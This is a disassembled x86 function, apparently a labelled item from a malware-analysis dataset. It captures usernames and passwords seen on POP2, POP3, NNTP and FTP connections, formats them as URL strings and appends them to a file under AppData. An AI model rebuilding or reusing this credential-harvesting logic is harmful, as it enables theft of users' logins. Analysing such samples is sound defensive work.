Function at 0x10013180
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x100542a0]
sub esp, 0x130
push ebx
push esi
push edi
mov esi, eax
cmp eax, 0x100542a0
je 0x1001338e
mov edi, edi
mov eax, dword [ebp + 8]
cmp dword [esi + 8], eax
je 0x100131bb
mov esi, dword [esi]
cmp esi, 0x100542a0
jne 0x100131a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ebx, [esi + 0xc]
mov eax, ebx
mov dword [ebp - 0xc], ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100131c6
sub eax, edx
je 0x1001338e
lea edi, [esi + 0x70]
mov eax, edi
mov dword [ebp - 8], edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100131e0
sub eax, edx
je 0x1001338e
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100131f4
sub eax, edx
mov edx, eax
mov eax, edi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013204
sub eax, edi
lea edi, [eax + edx + 0x104]
mov ecx, edi
call fcn.1000e7e0
mov ebx, eax
test ebx, ebx
je 0x1001338e
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x20]
push edx
push eax
mov dword [ebp - 0x10], 0x10
call dword [sym.imp.WS2_32.dll_getpeername]
cmp eax, 0xffffffff
je 0x1001338e
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x1001326e
mov eax, dword [0x100541b4]
cmp eax, 0x100541b4
je 0x1001326e
lea ebx, [ebx]
cmp dword [eax + 8], ecx
je 0x100132ba
mov eax, dword [eax]
cmp eax, 0x100541b4
jne 0x10013260
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
add esi, 0xd4
mov edx, esi
sub edx, eax
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10013280
mov ecx, dword [ebp - 0x1e]
push ecx
call dword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
cmp eax, 0x77
jg 0x100132d1
je 0x100132e9
mov ecx, eax
sub ecx, 0x6d
je 0x100132bf
dec ecx
jne 0x100132d8
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
push 0x6e
push esi
push edx
push eax
push str.pop3:___s:_s__s:_i_n
jmp 0x100132f8
add eax, 0xc
jmp 0x10013275
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
push 0x6d
push esi
push ecx
push edx
push str.pop2:___s:_s__s:_i_n
jmp 0x100132f8
cmp eax, 0x233
je 0x100132e9
mov ecx, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push esi
push eax
push ecx
push str.ftp:___s:_s__s:_i_n
jmp 0x100132f8
mov edx, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push esi
push edx
push eax
push str.nntp:___s:_s__s:_i_n
push edi
push ebx
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x1c
push str.ftp:__anonymous:
push ebx
call dword [sym.imp.ntdll.dll_strstr]
add esp, 8
test eax, eax
jne 0x10013386
lea ecx, [ebp - 0x12c]
push ecx
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10057714
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013340
lea edi, [ebp - 0x12c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013350
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov eax, ebx
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013370
sub eax, edx
push eax
push ebx
lea eax, [ebp - 0x12c]
call fcn.10007610
mov eax, dword [ebp + 8]
call fcn.10013130
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4